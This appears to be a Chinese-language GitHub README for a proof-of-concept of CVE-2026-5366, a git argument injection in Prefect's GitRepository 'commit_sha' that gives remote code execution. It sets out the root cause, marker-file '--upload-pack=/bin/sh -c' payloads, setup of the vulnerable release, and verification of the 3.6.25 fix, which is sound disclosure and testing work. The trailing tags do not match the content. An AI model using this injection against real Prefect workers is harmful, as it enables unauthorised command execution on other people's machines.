renat0z3r0/prefect-cve-2026-5366

GitHub: renat0z3r0/prefect-cve-2026-5366

针对 Prefect 工作流引擎 CVE-2026-5366(GitRepository 参数注入导致 RCE)的概念验证工具,支持离线端到端复现与修复版本验证。

Stars: 0 | Forks: 0

# PoC: CVE-2026-5366 - Prefect 中的 Git 参数注入 (GitRepository) - 漏洞:通过 `commit_sha` 导致的 git 参数注入进而引发 RCE(外加通过 `directories` 导致的参数注入) - 版本:在 3.6.23 版本中存在漏洞,已在 3.6.25+ 版本中修复 - 文件:`src/prefect/runner/storage.py` - Huntr: - CVE: CVE-2026-5366 ## 免责声明 这是一个针对已公开且已修补漏洞的概念验证 (已在 Prefect 3.6.25 中修复),发布用于教育和防御性验证。 请仅在您拥有或获得授权测试的软件和系统上运行它。 如果您正在运行 Prefect,请升级到 3.6.25 或更高版本。 ## 仓库结构 | 文件 | 用途 | |------|---------| | `poc.py` | 针对存在漏洞的安装环境运行两种注入向量,并报告哪一种可以成功实现代码执行 | | `run_offline.sh` | 无网络运行器:构建一个本地 `file://` 仓库并驱动 `poc.py` 对其进行测试(查看 RCE 触发的可靠方式) | ## 根本原因 (3.6.23,确切代码行) 在 `src/prefect/runner/storage.py` 中: ``` # Line 174 if branch and commit_sha: raise ValueError(...) # Line 181 self._commit_sha = commit_sha # no validation whatsoever ... self._directories = directories ``` 注入点(3.6.23 版本行号): - `commit_sha`: - `pull_code()` ~379: `["git", "fetch", "origin", self._commit_sha]` - `pull_code()` ~391: `["git", "checkout", self._commit_sha]` - `_clone_repo()` ~475: `["git", "fetch", "origin", self._commit_sha]` - `_clone_repo()` ~480: `["git", "checkout", self._commit_sha]` - `directories`: - `pull_code()` ~360: `["git", "sparse-checkout", "set", *self._directories]` - `_clone_repo()` ~489: `["git", "sparse-checkout", "set", *self._directories]` (没有 `--` 分隔符) 在 `commit_sha` 路径上,`--upload-pack=` 会被 `git fetch`/`git checkout` 解释为用于该连接的 pack 程序,因此该程序会在 worker 机器上本地执行。这已经过端到端验证(请参阅下文的“验证结果”)。 `directories` 路径属于真正的参数注入,但通过 `--upload-pack` 并非 RCE 向量:`git sparse-checkout set` 是一个本地命令,没有 `--upload-pack` 选项,因此 payload 会作为未知标志被拒绝。这种不对称性在上游修复中也有所体现:`commit_sha` 会被强制拒绝,而以 `--` 开头的 `directories` 条目仅触发警告。 ## 漏洞利用工作原理 核心在于针对 `commit_sha` 向量的 git 参数注入技巧。 1. 缺乏验证。在 3.6.23 版本中,`commit_sha` 的值被原样存储(`storage.py:181`),除了互斥的 `branch`/`commit_sha` 之外没有任何检查。任何字符串都会被接受。 2. 进入 git 参数位置。当 Prefect 拉取代码时(先 `pull_code()` 然后是 `_clone_repo()`),该值被放入 git 参数列表中: ``` ["git", "fetch", "origin", self._commit_sha] # storage.py:475 ["git", "checkout", self._commit_sha] # storage.py:480 ``` 这是一个参数列表(没有 shell),因此不存在 shell 注入。缺陷在于攻击者控制的值之前没有 `--` 分隔符。 3. `--upload-pack` 被解析为选项,而不是参数。除非前面有 `--` 分隔符,否则 git 会将任何以 `-` 开头的字符串视为选项。Payload: ``` --upload-pack=/bin/sh -c 'echo "EXPLOITED..." > /tmp/marker.txt' ``` 将命令转变为: ``` git fetch origin --upload-pack=/bin/sh -c 'echo ... > /tmp/marker.txt' ``` `--upload-pack=` 是 `git fetch`/`clone`/`ls-remote` 的合法选项:它指定了 git 运行以提供 pack 服务的程序。当远程仓库是本地的(`file://`)或通过 SSH/本地传输访问时,git 会在本地机器上执行该程序。 4. 结果:RCE。git 会启动 `/bin/sh -c '...'` 来代替真正的 `git-upload-pack` 助手,从而在 Prefect worker 上运行攻击者的命令。随后 git 会失败(因为 sh 不使用 git 协议通信),但副作用(代码执行)已经发生,这就是为什么 PoC 会忽略产生的异常而仅检查标记文件的原因。 为什么测试前的清理很重要。如果目标位置已经存在 `.git`,Prefect 会走“更新现有仓库”的路径。删除它会强制走完整的 `_clone_repo()` 路径,该路径拥有最直接的 `fetch origin ` + `checkout ` 调用,是最佳的注入点。 为什么 `directories` 不能实现 RCE。该值会进入 `git sparse-checkout set `,这是一个没有 `--upload-pack` 选项的本地命令,因此 git 会将 payload 作为未知标志拒绝。它依然是真正的参数注入,但使用此 payload 并非 RCE 向量。 修复方案 (3.6.25)。`commit_sha` 必须匹配 `^[0-9a-fA-F]{4,64}$`,因此在构造时,`--upload-pack=...` payload 会因抛出 `ValueError: Invalid commit SHA` 而被拒绝。对于 `directories`,该修复在 git 命令中添加了 `--` 分隔符(值不能再被解析为选项)并发出警告。 ## 推荐的 PoC 策略 1. 精确安装 `prefect==3.6.23` 2. 每次测试前强制清理目标目录(这是最重要的部分) 3. 通过直接调用 `GitRepository(..., commit_sha=..., directories=...).pull_code()` 触发 4. 使用带时间戳的标记,以便您可以查看哪个向量起作用了 5. 在已修复的版本(>= 3.6.25)上,确认恶意的 `commit_sha` 会在 `GitRepository(...)` 构造时被拒绝 ## 设置(存在漏洞的环境) ``` python -m venv .venv-vuln source .venv-vuln/bin/activate pip install "prefect==3.6.23" ``` 或者使用确切存在漏洞标签的源码: ``` git clone https://github.com/PrefectHQ/prefect.git cd prefect git checkout 3.6.23 pip install -e . ``` ## 运行 PoC 可靠、自包含的方式(构建本地 `file://` 仓库并运行两个向量): ``` ./run_offline.sh # 或固定特定解释器: PYTHON=.venv-vuln/bin/python ./run_offline.sh ``` 您也可以直接驱动 `poc.py`: ``` python poc.py # default https target POC_TARGET_REPO="file:///tmp/bare-repo.git" python poc.py # local repo ``` 重要提示:git 仅在本地和 ssh 传输上支持 `--upload-pack`。针对默认的 https 远程仓库,payload 是无效的,因此即使在存在漏洞的 3.6.23 上,`python poc.py` 也会报告未找到标记文件。请使用 `run_offline.sh`(或 `file://` / ssh 的 `POC_TARGET_REPO`)来查看 RCE 的实际触发。 脚本在执行每个向量之前会进行强制清理(`force_clean_destination`),从而确保它能够稳定地进入 clone 路径(`_clone_repo`),该路径会执行: ``` git clone ... --no-checkout git fetch origin git checkout ``` ## 本 PoC 中使用的精确 Payload (3.6.23) `commit_sha`: ``` "--upload-pack=/bin/sh -c 'echo \"EXPLOITED via commit_sha $(date)\" > /tmp/prefect_rce_COMMIT_....txt 2>&1 || true'" ``` `directories`: ``` ["--upload-pack=/bin/sh -c 'echo \"EXPLOITED via directories $(date)\" > /tmp/prefect_rce_DIRS_....txt 2>&1 || true'"] ``` 这些会准确命中 `fetch` / `checkout` 和 `sparse-checkout set` 中的原始参数位置。 ## 验证结果 在 Python 3.12 上完全离线(通过 `run_offline.sh` 使用本地 `file://` 裸仓库)进行了端到端复现: | 版本 | `commit_sha` | `directories` | |---------|--------------|---------------| | 3.6.23 (存在漏洞) | 成功 RCE:在执行 `git fetch origin ` 期间写入了标记文件 | 无标记:`sparse-checkout set` 拒绝了 `--upload-pack` 标志 | | 3.6.25 (已修复) | 已中和:在构造 `GitRepository(...)` 时抛出 `ValueError: Invalid commit SHA ...` | 无标记:添加了 `--` 分隔符 + 警告 | 观察到的存在漏洞运行时的标记文件内容: ``` EXPLOITED via commit_sha ``` ## 清理 ``` rm -f /tmp/prefect_rce_*.txt rm -rf prefect-poc-* ``` ## 验证修复(在 >= 3.6.25 上) 在已修复的安装中,恶意的对象在任何 git 运行之前就会构造失败: ``` from prefect.runner.storage import GitRepository GitRepository(url="https://github.com/octocat/Hello-World.git", commit_sha="--upload-pack=/bin/sh -c 'id'") # ValueError: 无效的 commit SHA ... ``` 以 `--` 开头的 `directories` 条目只会发出警告(真正的保护措施是添加到 git 命令中的 `--` 分隔符)。 ## 参考 - 存在漏洞的标签:`3.6.23` - 修复提交:`6a9d9918716ce4ee0297b69f3046f7067ef1faae` - 修复前的父提交:`21b2838054c7231cee8cbe196fdadc67ee6c1c6d` 请负责任地使用(当然!!!:PpPPpp),并仅在您控制的系统上使用 :-)
标签:Go语言工具, PoC, 参数注入, 安全漏洞, 应用安全, 暴力破解, 编程工具, 网络安全研究, 远程代码执行, 逆向工具